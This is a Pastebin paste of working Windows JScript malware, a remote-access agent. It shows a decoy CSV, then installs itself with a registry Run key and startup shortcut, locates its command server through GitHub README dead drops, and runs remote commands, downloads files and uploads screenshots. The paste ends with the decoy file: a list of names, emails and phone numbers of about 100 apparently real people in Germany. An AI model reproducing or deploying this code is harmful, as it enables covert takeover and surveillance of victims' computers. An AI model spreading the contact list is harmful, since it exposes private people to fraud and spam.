Guest User

Untitled

a guest
Dec 4th, 2018
1,909
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. L
  2.  
  3.  
  4.  
  5. var WshShell = new ActiveXObject("WScript.Shell"); //p0b2x6
  6. var fso = new ActiveXObject("Scripting.FileSystemObject"); //p0b2x6
  7. var shellApp = new ActiveXObject("shell.application"); //p0b2x6
  8. //p0b2x6
  9. version = "1.3" //p0b2x6
  10. ref = "bd" //p0b2x6
  11. //p0b2x6
  12. items = ['https://raw.githubusercontent.com/deadpooool/news/master/README.md','https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md']; //p0b2x6
  13. StorageDir = WshShell.ExpandEnvironmentStrings("%localappdata%")+"\\Microsoft\\PackageCache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"; //p0b2x6
  14. extracted_file = "200_Germany.csv "; //p0b2x6
  15. extracted_file_filesize = 12692 ; //p0b2x6
  16. lnk_filesize = 21890 ; //p0b2x6
  17. startup_shortcut = StorageDir + "\\services.lnk"; //p0b2x6
  18. agent_location = StorageDir + "\\file.js"; //p0b2x6
  19. agent_hidden_executer = StorageDir + "\\startup.js"; //p0b2x6
  20. g3r = StorageDir + "\\g3r.reg"; //p0b2x6
  21. agent_id_location = StorageDir + "\\id"; //p0b2x6
  22. lckFile = StorageDir+"\\h.lck"; //p0b2x6
  23. ieFile = StorageDir + "\\kill.js"; //p0b2x6
  24. av = return_av_name(); //p0b2x6
  25. pFolder = WshShell.ExpandEnvironmentStrings("%localappdata%")+"\\Python"; //p0b2x6
  26. sctFile = pFolder+ "\\SC7.P7D"; //p0b2x6
  27. pyFile = "main.py"; //p0b2x6
  28. pyAlreadyRunning = 0; //p0b2x6
  29. //p0b2x6
  30. if(av.length != av.replace("Kasper", "").length) //p0b2x6
  31. { //p0b2x6
  32. kasper = 1; //p0b2x6
  33. } //p0b2x6
  34. else //p0b2x6
  35. { //p0b2x6
  36. kasper = 0; //p0b2x6
  37. } //p0b2x6
  38. kasperWritten = 0; //p0b2x6
  39. main(); //p0b2x6
  40. //p0b2x6
  41. function main() { //p0b2x6
  42. if(WScript.ScriptFullName != agent_location) { //p0b2x6
  43. extract_and_run_decoy(); //p0b2x6
  44. create_storage_dir(); //p0b2x6
  45. create_ie_file(); //p0b2x6
  46. create_startup_executer(); //p0b2x6
  47. copy_agent_to_new_location(); //p0b2x6
  48. exec_cscript(agent_location); //p0b2x6
  49. delete_temp_files(); //p0b2x6
  50. } else { //p0b2x6
  51. lck = fso.CreateTextFile(lckFile, 1); //p0b2x6
  52. exec_cscript(ieFile); //p0b2x6
  53. main_loop(); //p0b2x6
  54. } //p0b2x6
  55. } //p0b2x6
  56. //p0b2x6
  57. function main_loop() { //p0b2x6
  58. var now = get_time(); //p0b2x6
  59. r3g(); //p0b2x6
  60. if(kasper == 1 && fso.FileExists(agent_id_location) == false && kasperWritten == 0) //p0b2x6
  61. { //p0b2x6
  62. WshShell.Run("reg import "+g3r, 0, 1); //p0b2x6
  63. create_shortcut_in_startup(); //p0b2x6
  64. kasperWritten = 1; //p0b2x6
  65. } //p0b2x6
  66. else //p0b2x6
  67. { //p0b2x6
  68. WshShell.Run("reg import "+g3r, 0, 1); //p0b2x6
  69. create_shortcut_in_startup(); //p0b2x6
  70. //p0b2x6
  71. } //p0b2x6
  72. //p0b2x6
  73. server = extract_srvaddr(); //p0b2x6
  74. try { //p0b2x6
  75. id = get_id(); //p0b2x6
  76. while(1) { //p0b2x6
  77. //p0b2x6
  78. var passedsec = get_time()-now; //p0b2x6
  79. if(passedsec > 60*60){ //p0b2x6
  80. now = get_time(); //p0b2x6
  81. server = extract_srvaddr(); //p0b2x6
  82. } //p0b2x6
  83. //p0b2x6
  84. command = get_page_content_with_ie(server + "/getcommand", "action=getCommand&uid="+id); //p0b2x6
  85. eval("obj=" +command); //p0b2x6
  86. if(obj.command.length > 0) { //p0b2x6
  87. if(obj.command.search('download') >= 0) { //p0b2x6
  88. var spl = obj.command.split('|'); //p0b2x6
  89. file = get_page_content_with_ie(server + "/dwnld?u="+spl[1], ""); //p0b2x6
  90. if(file.length > 0) { //p0b2x6
  91. bin_write(spl[2], hex2bin(file)); //p0b2x6
  92. } //p0b2x6
  93. } else { //p0b2x6
  94. WshShell.Run("cmd.exe /c " +obj.command, 0, 0); //p0b2x6
  95. } //p0b2x6
  96. WScript.Sleep(10000); //p0b2x6
  97. } else { //p0b2x6
  98. WScript.Sleep(30000); //p0b2x6
  99. } //p0b2x6
  100. //p0b2x6
  101. if(fso.FileExists(pFolder+"\\"+pyFile) && pyAlreadyRunning == 0) { //p0b2x6
  102. oldWd = WshShell.CurrentDirectory; //p0b2x6
  103. WshShell.CurrentDirectory = pFolder; //p0b2x6
  104. //p0b2x6
  105. pyAlreadyRunning = 1; //p0b2x6
  106. WshShell.Run("python.exe
  107.  
  108.  
  109.  
  110. "+pyFile, 0, 0); //p0b2x6
  111. //p0b2x6
  112. WshShell.CurrentDirectory = oldWd; //p0b2x6
  113. } //p0b2x6
  114. //p0b2x6
  115. if(fso.FileExists(sctFile)) { //p0b2x6
  116. sctb64 = base64_encode(sctFile); //p0b2x6
  117. screen = get_page_content_with_ie(server + "/zaqxswcde123456789", "action=sendScreenshot&uid="+id+"&data="+sctb64); //p0b2
  118. x6
  119. fso.DeleteFile(sctFile, 1); //p0b2x6
  120. } //p0b2x6
  121. //p0b2x6
  122. } //p0b2x6
  123. } catch (e) { //p0b2x6
  124. WScript.Sleep(60000); //p0b2x6
  125. main_loop(); //p0b2x6
  126. } //p0b2x6
  127. } //p0b2x6
  128. //p0b2x6
  129. function get_id() { //p0b2x6
  130. id = ""; //p0b2x6
  131. while(id.length != 16) { //p0b2x6
  132. if(fso.FileExists(agent_id_location)) { //p0b2x6
  133. f = fso.OpenTextFile(agent_id_location, 1); //p0b2x6
  134. while (!f.AtEndOfStream) { //p0b2x6
  135. id += f.ReadLine(); //p0b2x6
  136. } //p0b2x6
  137. f.Close(); //p0b2x6
  138. up = get_page_content_with_ie(server + "/getid", "action=up&uid="+id+"&antivirus="+return_av_name()); //p0b2x6
  139. } else { //p0b2x6
  140. id = get_page_content_with_ie(server + "/getid", "action=getSerial&computer_name="+WshShell.ExpandEnvironmentStrings("%computername%")+"&u
  141. sername="+WshShell.ExpandEnvironmentStrings("%username%")+"&version="+version+"&cli="+ref); //p0b2x6
  142. if(id.length == 16) { //p0b2x6
  143. var s = fso.CreateTextFile(agent_id_location, true); //p0b2x6
  144. s.Write(id); //p0b2x6
  145. s.Close(); //p0b2x6
  146. up = get_page_content_with_ie(server + "/getid", "action=up&uid="+id+"&antivirus="+return_av_name()); //p0b2x6
  147. } //p0b2x6
  148. } //p0b2x6
  149. WScript.Sleep(30000); //p0b2x6
  150. } //p0b2x6
  151. return id; //p0b2x6
  152. } //p0b2x6
  153. //p0b2x6
  154. function get_page_content_with_ie(url, postdata) { //p0b2x6
  155. try{ //p0b2x6
  156. var ie = new ActiveXObject("InternetExplorer.Application"); //p0b2x6
  157. ie.Visible = 0; //p0b2x6
  158. if(postdata.length == 0) { //p0b2x6
  159. ie.Navigate(url); //p0b2x6
  160. } else { //p0b2x6
  161. ie.Navigate(url, "", "", stream_string_to_binary(postdata), "Content-Type: application/x-www-form-urlencoded"); //p0b2x6
  162. } //p0b2x6
  163. i = 0; //p0b2x6
  164. while(i < 60) { //p0b2x6
  165. if(ie.ReadyState == 4) { //p0b2x6
  166. i = 60; //p0b2x6
  167. } //p0b2x6
  168. WScript.Sleep(1000); //p0b2x6
  169. i = i + 1; //p0b2x6
  170. } //p0b2x6
  171. content = ie.document.body.innerHTML; //p0b2x6
  172. content = content.replace("&amp;", "&"); //p0b2x6
  173. content = content.replace("&gt;", ">"); //p0b2x6
  174. content = content.replace("&lt;", "<"); //p0b2x6
  175. content = content.replace('&quot;', '"'); //p0b2x6
  176. content = content.replace("<pre>", ""); //p0b2x6
  177. content = content.replace("</pre>", ""); //p0b2x6
  178. content = content.replace("<PRE>", ""); //p0b2x6
  179. content = content.replace("</PRE>", ""); //p0b2x6
  180. ie.Quit(); //p0b2x6
  181. delete ie; //p0b2x6
  182. return content; //p0b2x6
  183. } catch (e) { //p0b2x6
  184. return ''; //p0b2x6
  185. } //p0b2x6
  186. } //p0b2x6
  187. //p0b2x6
  188. function stream_string_to_binary(str) { //p0b2x6
  189. var BinaryStream = WScript.CreateObject('ADODB.Stream'); //p0b2x6
  190. BinaryStream.Type = 2; //p0b2x6
  191. BinaryStream.CharSet = "us-ascii" //p0b2x6
  192. //p0b2x6
  193. BinaryStream.Open(); //p0b2x6
  194. BinaryStream.WriteText(str); //p0b2x6
  195. BinaryStream.Position = 0; //p0b2x6
  196. BinaryStream.Type = 1; //p0b2x6
  197. //p0b2x6
  198. return BinaryStream.read(); //p0b2x6
  199. } //p0b2x6
  200. //p0b2x6
  201. function num2dot(num) { //p0b2x6
  202. var d = num%256; //p0b2x6
  203. for (var i=3; i>0; i--) { //p0b2x6
  204. num = Math.floor(num/256); //p0b2x6
  205. d = num%256+'.'+d; //p0b2x6
  206. } //p0b2x6
  207. return d; //p0b2x6
  208. } //p0b2x6
  209. //p0b2x6
  210. function get_time() { //p0b2x6
  211. var date = new Date(); //p0b2x6
  212. return date.getTime()/1000|0; //p0b2x6
  213. } //p0b2x6
  214. //p0b2x6
  215. function extract_srvaddr() { //p0b2x6
  216. serverFound = false; //p0b2x6
  217. pattern = 'our news start at (.*) thank you'; //p0b2x6
  218. while(serverFound == false) { //p0b2x6
  219. var item = items[Math.floor(Math.random()*items.length)]; //p0b2x6
  220. var html = get_page_content_with_ie(item,''); //p0b2x6
  221. if(html != '') { //p0b2x6
  222. var match = extract_string(pattern, html); //p0b2x6
  223. if(match != null) { //p0b2x6
  224. srv = num2dot(match[1]/666); //p0b2x6
  225. srv = srv + "/Validate"; //p0b2x6
  226. srv_stat = get_page_content_with_ie(srv+"/ValSrv", ''); //p0b2x6
  227. validate_str = extract_string('youwillnotfindthisanywhare', srv_stat); //p0b2x6
  228. if(validate_str == 'youwillnotfindthisanywhare') { //p0b2x6
  229. serverFound = true; //p0b2x6
  230. return srv; //p0b2x6
  231. } //p0b2x6
  232. } //p0b2x6
  233. } //p0b2x6
  234. } //p0b2x6
  235. } //p0b2x6
  236. //p0b2x6
  237. function extract_string(pattern, str) { //p0b2x6
  238. if(pattern != '' && str != '') { //p0b2x6
  239. try { //p0b2x6
  240. re = new RegExp(pattern, 'i') //p0b2x6
  241. match = str.match(re); //p0b2x6
  242. return match; //p0b2x6
  243. } catch (e) { //p0b2x6
  244. return null; //p0b2x6
  245. } //p0b2x6
  246. } //p0b2x6
  247. } //p0b2x6
  248. //p0b2x6
  249. function r3g() { //p0b2x6
  250. var s = fso.CreateTextFile(g3r, true); //p0b2x6
  251. s.WriteLine('Windows Registry Editor Version 5.00'); //p0b2x6
  252. s.WriteLine(''); //p0b2x6
  253. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows]'); //p0b2x6
  254. s.WriteLine('"run"="' +StorageDir.replace(/\\/g, "\\\\")+ '\\\\services.lnk"'); //p0b2x6
  255. s.WriteLine(''); //p0b2x6
  256. s.WriteLine('[HKEY_CURRENT_USER\\Control Panel\\Cursors]'); //p0b2x6
  257. s.WriteLine('"AppStarting"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,00,5c,00,63,00,75,00,72,00,73,00,6f,00,72,00,73,00,5c,00,61,00,65,00,72,00,6f,00,5f,00,61,00,72,00,72,00,6f,00,77,00,2e,00,63,00,75,00,72,00,00,00'); //p0b2x6
  258. s.WriteLine(''); //p0b2x6
  259. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main]'); //p0b2x6
  260. s.WriteLine('"Check_Associations"="no"'); //p0b2x6
  261. s.WriteLine('"NoProtectedModeBanner"=dword:00000001'); //p0b2x6
  262. s.WriteLine('"IE10RunOncePerInstallCompleted"=dword:00000001'); //p0b2x6
  263. s.WriteLine(''); //p0b2x6
  264. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Recovery]'); //p0b2x6
  265. s.WriteLine('"AutoRecover"=dword:00000002'); //p0b2x6
  266. s.WriteLine(''); //p0b2x6
  267. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\PhishingFilter]'); //p0b2x6
  268. s.WriteLine('"EnabledV9"=dword:00000001'); //p0b2x6
  269. s.WriteLine(''); //p0b2x6
  270. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\BrowserEmulation]'); //p0b2x6
  271. s.WriteLine('"MSCompatibilityMode"=dword:00000001'); //p0b2x6
  272. s.WriteLine(''); //p0b2x6
  273. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced]'); //p0b2x6
  274. s.WriteLine('"EnableBalloonTips"=dword:00000000'); //p0b2x6
  275. s.WriteLine(''); //p0b2x6
  276. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings]'); //p0b2x6
  277. s.WriteLine('"GlobalUserOffline"=dword:00000000'); //p0b2x6
  278. s.WriteLine(''); //p0b2x6
  279. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3]'); //p0b2x6
  280. s.WriteLine('"2500"=dword:00000003'); //p0b2x6
  281. s.WriteLine(''); //p0b2x6
  282. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Piriform\\CCleaner]'); //p0b2x6
  283. s.WriteLine('"BrowserMonitoring"=-'); //p0b2x6
  284. s.WriteLine('"(Mon)3001"=-'); //p0b2x6
  285. s.WriteLine(''); //p0b2x6
  286. s.Close(); //p0b2x6
  287. } //p0b2x6
  288. //p0b2x6
  289. function return_av_name() { //p0b2x6
  290. try { //p0b2x6
  291. var oWMISrvc = GetObject("winmgmts:\\\\.\\root\\cimv2"); //p0b2x6
  292. var colOperatingSystems = oWMISrvc.ExecQuery("SELECT * FROM Win32_OperatingSystem"); //p0b2x6
  293. //p0b2x6
  294. var objItem = new Enumerator(colOperatingSystems); //p0b2x6
  295. for(;!objItem.atEnd();objItem.moveNext()) { //p0b2x6
  296. var version = objItem.item().Version.substr(0,3); //p0b2x6
  297. } //p0b2x6
  298. objWMIService = ""; //p0b2x6
  299. try { //p0b2x6
  300. var objWMIService = GetObject("winmgmts:\\\\.\\root\\SecurityCenter"); //p0b2x6
  301. //p0b2x6
  302. } catch(e) {} //p0b2x6
  303. try { //p0b2x6
  304. var objWMIService = GetObject("winmgmts:\\\\.\\root\\SecurityCenter2"); //p0b2x6
  305. } catch (e) {} //p0b2x6
  306. if (typeof(objWMIService) == "string") //p0b2x6
  307. { //p0b2x6
  308. return 'N/A'; //p0b2x6
  309. } //p0b2x6
  310. var colItems = objWMIService.ExecQuery("SELECT displayName FROM AntiVirusProduct", "WQL"); //p0b2x6
  311. //p0b2x6
  312. var enumItems = new Enumerator(colItems); //p0b2x6
  313. name = ""; //p0b2x6
  314. for (;!enumItems.atEnd();enumItems.moveNext()) { //p0b2x6
  315. name = enumItems.item().displayName+" and "+name; //p0b2x6
  316. } //p0b2x6
  317. //p0b2x6
  318. if(name != null && name != '') { //p0b2x6
  319. return name; //p0b2x6
  320. } else { //p0b2x6
  321. return 'N/A'; //p0b2x6
  322. } //p0b2x6
  323. } catch (e) { //p0b2x6
  324. return 'N/A'; //p0b2x6
  325. } //p0b2x6
  326. } //p0b2x6
  327. //p0b2x6
  328. function CreateFolderRecursive(FullPath) { //p0b2x6
  329. var arr = [], dir = [], path = [] //p0b2x6
  330. //p0b2x6
  331. arr = FullPath.split("\\"); //p0b2x6
  332. path = ""; //p0b2x6
  333. for(index=0; index<arr.length; ++index) { //p0b2x6
  334. if(path != "") //p0b2x6
  335. path = path+"\\"; //p0b2x6
  336. path = path+""+arr[index]; //p0b2x6
  337. if(!fso.FolderExists(path)) { //p0b2x6
  338. try { //p0b2x6
  339. fso.CreateFolder(path); //p0b2x6
  340. } catch (e) { //p0b2x6
  341. } //p0b2x6
  342. } //p0b2x6
  343. } //p0b2x6
  344. } //p0b2x6
  345. //p0b2x6
  346. function copy_agent_to_new_location() { //p0b2x6
  347. fso.CopyFile(WScript.ScriptFullName, agent_location); //p0b2x6
  348. } //p0b2x6
  349. //p0b2x6
  350. function create_startup_executer() { //p0b2x6
  351. var s = fso.CreateTextFile(agent_hidden_executer, true); //p0b2x6
  352. s.WriteLine('var WshShell = new ActiveXObject("WScript.Shell");'); //p0b2x6
  353. s.WriteLine('WshShell.Run("C:\\\\Windows\\\\System32\\\\cscript.exe
  354.  
  355.  
  356.  
  357. '+agent_location.replace(/\\/g, "\\\\")+'", 0, 0);'); //p0b2x6
  358. s.Close(); //p0b2x6
  359. } //p0b2x6
  360. //p0b2x6
  361. function create_shortcut_in_startup() { //p0b2x6
  362. var oShellLink = WshShell.CreateShortcut(startup_shortcut); //p0b2x6
  363. oShellLink.TargetPath = "%comspec%"; //p0b2x6
  364. oShellLink.Arguments = "/c cscript "+agent_hidden_executer; //p0b2x6
  365. oShellLink.WindowStyle = 7; //p0b2x6
  366. oShellLink.WorkingDirectory = StorageDir; //p0b2x6
  367. oShellLink.Save(); //p0b2x6
  368. } //p0b2x6
  369. //p0b2x6
  370. //p0b2x6
  371. function create_storage_dir() { //p0b2x6
  372. if(!fso.FolderExists(StorageDir)) { //p0b2x6
  373. CreateFolderRecursive(StorageDir); //p0b2x6
  374. } //p0b2x6
  375. } //p0b2x6
  376. //p0b2x6
  377. function create_ie_file() { //p0b2x6
  378. if(!fso.FileExists(ieFile)) { //p0b2x6
  379. var s = fso.CreateTextFile(ieFile, true); //p0b2x6
  380. s.WriteLine(unescape("var%20oWMISrvc%20%3D%20GetObject%28%22winmgmts%3A%5C%5C%5C%5C.%5C%5Croot%5C%5Ccimv2%22%29%3Bwhile%281%29%7BWScript.Sleep%28180000%29%3B%20cProcNIE%28%29%3B%7Dfunction%20cProcNIE%28%29%20%7Btry%20%7Bvar%20colProcLst%20%3D%20oWMISrvc.ExecQuery%28%22SELECT%20*%20FROM%20Win32_Process%20WHERE%20CommandLine%20LIKE%20%27%25-Embedding%25%27%20AND%20Name%20%3D%20%27iexplore.exe%27%22%29%3Bvar%20objItem%20%3D%20new%20Enumerator%28colProcLst%29%3Bfor%28%3B%21objItem.atEnd%28%29%3BobjItem.moveNext%28%29%29%20%7Bvar%20p%20%3D%20objItem.item%28%29%3Bp.Terminate%28%29%3B%7D%7D%20catch%20%20%28e%29%20%7B%7D%7D")); //p0b2x6
  381. s.Close(); //p0b2x6
  382. } //p0b2x6
  383. } //p0b2x6
  384. //p0b2x6
  385. function extract_file(src, dest, start, file_size) { //p0b2x6
  386. var oFile = fso.GetFile(src); //p0b2x6
  387. var oRead = oFile.OpenAsTextStream(); //p0b2x6
  388. data = oRead.Read(oFile.Size); //p0b2x6
  389. oRead.Close(); //p0b2x6
  390. offset_data = data.substr(start+1, file_size); //p0b2x6
  391. var wFile = fso.OpenTextFile(dest, 2, true); //p0b2x6
  392. wFile.Write(offset_data); //p0b2x6
  393. wFile.Close(); //p0b2x6
  394. } //p0b2x6
  395. //p0b2x6
  396. function delete_temp_files() { //p0b2x6
  397. fso.DeleteFile(WScript.arguments(0), 1); //p0b2x6
  398. fso.DeleteFile(WScript.ScriptFullName, 1); //p0b2x6
  399. } //p0b2x6
  400. //p0b2x6
  401. function extract_and_run_decoy() { //p0b2x6
  402. extract_file(WScript.arguments(0), extracted_file, lnk_filesize, extracted_file_filesize); //p0b2x6
  403. WshShell.Run("cmd.exe /c "+extracted_file, false, false); //p0b2x6
  404. } //p0b2x6
  405. //p0b2x6
  406. function exec_cscript(path) { //p0b2x6
  407. WshShell.Run("cscript.exe
  408.  
  409.  
  410. "+
  411. path, false, false); //p0b2x6
  412. } //p0b2x6
  413. //p0b2x6
  414. function base64_encode(path) { //p0b2x6
  415. var inputStream = new ActiveXObject('ADODB.Stream'); //p0b2x6
  416. inputStream.Open(); //p0b2x6
  417. inputStream.Type = 1; //p0b2x6
  418. inputStream.LoadFromFile(path); //p0b2x6
  419. var bytes = inputStream.Read(); //p0b2x6
  420. var dom = new ActiveXObject('Microsoft.XMLDOM'); //p0b2x6
  421. var elem = dom.createElement('tmp'); //p0b2x6
  422. elem.dataType = 'bin.base64'; //p0b2x6
  423. elem.nodeTypedValue = bytes; //p0b2x6
  424. return elem.text.replace(/[^A-Z\d+=\/]/gi, ''); //p0b2x6
  425. } //p0b2x6
  426. //p0b2x6
  427. function bin_write(path, bin_data) { //p0b2x6
  428. var BinaryStream = WScript.CreateObject("ADODB.Stream"); //p0b2x6
  429. BinaryStream.Type = 2; //p0b2x6
  430. BinaryStream.Charset = "ISO-8859-1"; //p0b2x6
  431. BinaryStream.Open(); //p0b2x6
  432. BinaryStream.WriteText(bin_data); //p0b2x6
  433. BinaryStream.SaveToFile(path, 2); //p0b2x6
  434. BinaryStream.Close(); //p0b2x6
  435. } //p0b2x6
  436. //p0b2x6
  437. function hex2bin(hex) { //p0b2x6
  438. var bytes = [], str; //p0b2x6
  439. //p0b2x6
  440. for(var i=0; i< hex.length-1; i+=2) //p0b2x6
  441. bytes.push(parseInt(hex.substr(i, 2), 16)); //p0b2x6
  442. //p0b2x6
  443. return String.fromCharCode.apply(String, bytes); //p0b2x6
  444. } //p0b2x6
  445. //p0b2x6
  446. Marcel,Kressner,Marcelkressner@gmx.de,Germany,(490359) 650-8990
  447. Peter,Klein,klein-peter@freenet.de,Germany,(49) 938-4367
  448. Oleg,Semenov,oleg.semenov@gmx.de,Germany,(1763) 867-4881
  449. Sigmar,Meister,sigmarmeister@gmx.de,Germany,(4901511) 731-7333
  450. Hans,Baumgarten,supertrader@hushmail.com,Germany,(494) 061-7345
  451. Simon,Blessing,simonblessing1@web.de,Germany,(49171) 755-8414
  452. Bernd,Schaefer Sell,berndaushamburg@gmx.de,Germany,(49403) 093-1971
  453. Thilo,Bode,tebe74@googlemail.com,Germany,(49173) 384-4308
  454. Sergej,Stenkin,sergejstenkin@freemail.ru,Germany,(4905641) 748-3361
  455. Valerij,Spickov,walspick@unitybox.de,Germany,(49316) 660-4966
  456. Mike,Grohmann,platafinanz@yahoo.de,Germany,(49305) 163-9935
  457. Rainer,Ludwig,rainerludwig@gmx.net,Germany,(49171) 336-8353
  458. Ulrich,Sperlich,ulrich.sperlich@gmx.de,Germany,(4901535) 380-9513
  459. Steven,Goet,s.goet@web.de,Germany,(4904103) 317-3066
  460. Kumar,Raja,romaraja@hotmail.com,Germany,(160) 733-6190
  461. Hans,Schuldt,HansSchuldt@freenet.de,Germany,(491513) 805-8473
  462. Alexei,Frank,novum_futurum@web.de,Germany,(491573) 816-3543
  463. Meike + Bjoern,Neubauer,meike.bjoern.neubauer@t-online.de,Germany,(49573) 570-9830
  464. Max,Dieringer,max.amir@me.com,Germany,(497115) 764-1334
  465. Tanja,Lau,Lau.Tanja@gmx.de,Germany,(491577) 890-6843
  466. Kevin,Leineweber,KevinLeineweber@gmx.de,Germany,(490049178) 408-6330
  467. Alexander,Kaiser,bigalex77@hotmail.com,Germany,(491766) 103-5114
  468. Christopher,Beyer,C.beyer1@gmx.net,Germany,(490177) 680-5651
  469. Hendrik,Ehlert,hendrik@mehlert-online.de,Germany,(490338) 380-5030
  470. Christian,Bader,badx@gmx.net,Germany,(1533) 757-4469
  471. Stanislaw,Garbacz,stani456@googlemail.com,Germany,(4915771577) 304-7300
  472. Bjoern,Hillers,hilli1970@googlemail.com,Germany,(491764) 134-9816
  473. Curt,Nelsson,curtn@web.de,Germany,(4901578) 849-1843
  474. Sonja & Carsten,Koepke,carstenkoepke3003@yahoo.de,Germany,(4991555985) 361-5800
  475. Valentin,Kolaberdin,valentin@kolaberdin.com,Germany,(491577) 534-0734
  476. Hinrich,Hoernlein Rummel,hhr@prophymed.com,Germany,(490171) 543-7439
  477. Robin,Kosalla,RobinKosalla@googlemail.com,Germany,(49173) 965-3944
  478. Tobias,Feigel,tobias.feigel@web.de,Germany,(49177) 735-1553
  479. Christian-Johannes,Henrich,henrich.business@gmail.com,Germany,(490049163) 394-5150
  480. Juergen,Robert,vk.lauterbach@yahoo.de,Germany,(49163) 343-9665
  481. Augustin,Yimbi,ayimbi@gmx.de,Germany,(493331) 635-4543
  482. Tanja,Mayfurth,tanjamayfurth@hotmail.com,Germany,(49163) 494-3103
  483. Rolf Juergen,Vosseler,rolf.vosseler@t-online.de,Germany,(49485) 383-9404
  484. Harald,Henrich,haraldhenrich0@gmail.com,Germany,(49633) 595-9700
  485. Andreas,Schmitt,andreas_schmitt@live.com,Germany,(49891) 895-9659
  486. Marcel,Schaefer,mas.main@googlemail.com,Germany,(491) 737-4466
  487. Markus,Rechlin,markusrechlin@gmail.com,Germany,(49506703314) 334-8000
  488. Ray (Rainer),Schrader,tipo48@googlemail.com,Germany,(4906753) 131-3609
  489. Nikolaos,Kiparissis,nikos_ctp@hotmail.com,Germany,(1609) 443-3901
  490. Marco,Wirges,marco.wirges@me.com,Germany,(49685) 396-0370
  491. Sabine,Reineke herbst,zockerei@safux.de,Germany,(491768) 113-9113
  492. Karl,Raase,inter-nett@gmx.de,Germany,(49537730334) 844-5000
  493. Bjoern,Ohle,ohleb@yahoo.de,Germany,(49511) 303-3013
  494. Patrick,Gutzmann,ilmyl@me.com,Germany,(491511) 653-9867
  495. AHMET,BATAN,arcob38@windowslive.com,Germany,(490533) 513-1370
  496. Xep,Vu Thi,xep47de@yahoo.de,Germany,(4901530) 777-4759
  497. Hendrik,Schulze,stucan@gmx.de,Germany,(4901577) 170-7184
  498. Gregor,Przeworski,gregor.przeworski@targobank.de,Germany,(491765) 510-6889
  499. Katja,Hebestreit,katjahebestreit@yahoo.de,Germany,(491763) 678-4463
  500. Alex,Huebgen,alexhue.trade@gmail.com,Germany,(496831) 307-1114
  501. Alexander,Alert,alert76@googlemail.com,Germany,(493333) 600-9404
  502. Juergen,Luebke,trader3108@freenet.de,Germany,(495319) 497-7376
  503. Kim,Schwarzkopf,schwarzkopf.k@gmx.net,Germany,(496033) 987-1143
  504. Jeana,Hauswald,jeana_haus@hotmail.de,Germany,(493117) 311-7936
  505. Fabio,Frentzen,Fabio.Frentzen@web.de,Germany,(491578) 656-3768
  506. Alexander,Eichler,airalex@hotmail.de,Germany,(491763) 066-3609
  507. Ewald,Riedel,3683969@online.de,Germany,(490747) 591-4669
  508. Stephan,Schwenke beust,sschwenke@gmx.de,Germany,(494151) 879-4714
  509. Werner,Lenz,1aprovit@live.de,Germany,(491530) 639-9553
  510. Wolfgang,Buschek,wolfib@gmx.de,Germany,(490911) 801-9003
  511. Lukas,Schreiber,kontakt@trade-the-forex.de,Germany,(49173) 767-9418
  512. Marc,Dornieden,Marc.Dornieden@googlemail.com,Germany,(49531) 317-0565
  513. Andreas,Treptow,forex@andreas-treptow.de,Germany,(49630) 179-8670
  514. Birgit,Finke,finke-birgit@t-online.de,Germany,(49175) 376-7351
  515. Manfred,Paulun,manfred@paulunyland.de,Germany,(49453) 638-1671
  516. Lars,Macario,lars.macario@gmail.com,Germany,(49171) 637-6999
  517. Fawad,Amin,fawadamin3011@yahoo.de,Germany,(49309) 148-7670
  518. Piyaphong,Saikamthon,onnoskish@hotmail.com,Germany,(49309) 981-3519
  519. Jessica,Friesen,friesenjessica@gmx.de,Germany,(49178) 143-3506
  520. Max,Lesemann,m.lesemann@posteo.de,Germany,(49173) 300-0000
  521. Heiko,Klabes,heikoklabes@yahoo.de,Germany,(49349) 655-5001
  522. Armin,Staender,arminstaender@gmx.de,Germany,(49173) 613-9606
  523. Michael,Dinse,michaeldinse@gmx.de,Germany,(49173) 349-3743
  524. Alexander,Degenstein,a.degenstein@gmx.de,Germany,(49171) 700-0000
  525. Heiko,Lasch,heikosnews@gmx.de,Germany,(49305) 106-6030
  526. Andreas,Hein,byteorder@me.com,Germany,(49656) 194-1084
  527. Gerhard,Lungershausen,ompoa1@yahoo.de,Germany,(49360) 383-0550
  528. Robert,Kluge,hopper_1@web.de,Germany,(49173) 341-1671
  529. Francoise,Lhote,flhote@gmx.de,Germany,(49691) 751-3975
  530. Karsten,Klimek,denham@gmx.de,Germany,(49691) 534-9778
  531. Nikolas,Drangenstein,drangenstein@googlemail.com,Germany,(4906) 963-6631
  532. Wolfgang,Zipp,wolfgang.zipp@t-online.de,Germany,(4963) 537-3633
  533. Dumitru,Liviu,liviu-dumitru@t-online.de,Germany,(4913) 435-6678
  534. Roy,Almagor,royalg006@mailinator.com,Germany,(4933) 433-4334
  535. Friedrich,Becker,becker-ense@unitybox.de,Germany,(4903) 938-1335
  536. Stefan,Mauss,mauss@t-online.de,Germany,(4951) 131-3407
  537. Florian,Fornoff,daytradecentral@gmail.com,Germany,(4916) 133-1546
  538. Julian,Strobl,julian.strobl@gmx.de,Germany,(491511) 530-9199
  539. Sascha,Berg,sascha-berg@gmx.de,Germany,(49171) 796-3838
  540. Hani,Basta,hany.p@gmx.de,Germany,(4901578) 764-8680
  541. Klaus,Scharf,k.scharf@ksmd.de,Germany,(49391) 633-9143
  542. Georg,Klotzsche,klotzschi@googlemail.com,Germany,(49353485) 697-4659
  543. Udoh,Ini,mybyte3003@yahoo.de,Germany,(490176) 000-0000
  544. Marc Oliver,Lesch,oliverundhannah@gmx.de,Germany,(491535) 333-9833
  545. Dennis,David,dennisdavid92@gmx.de,Germany,(491575) 586-1162
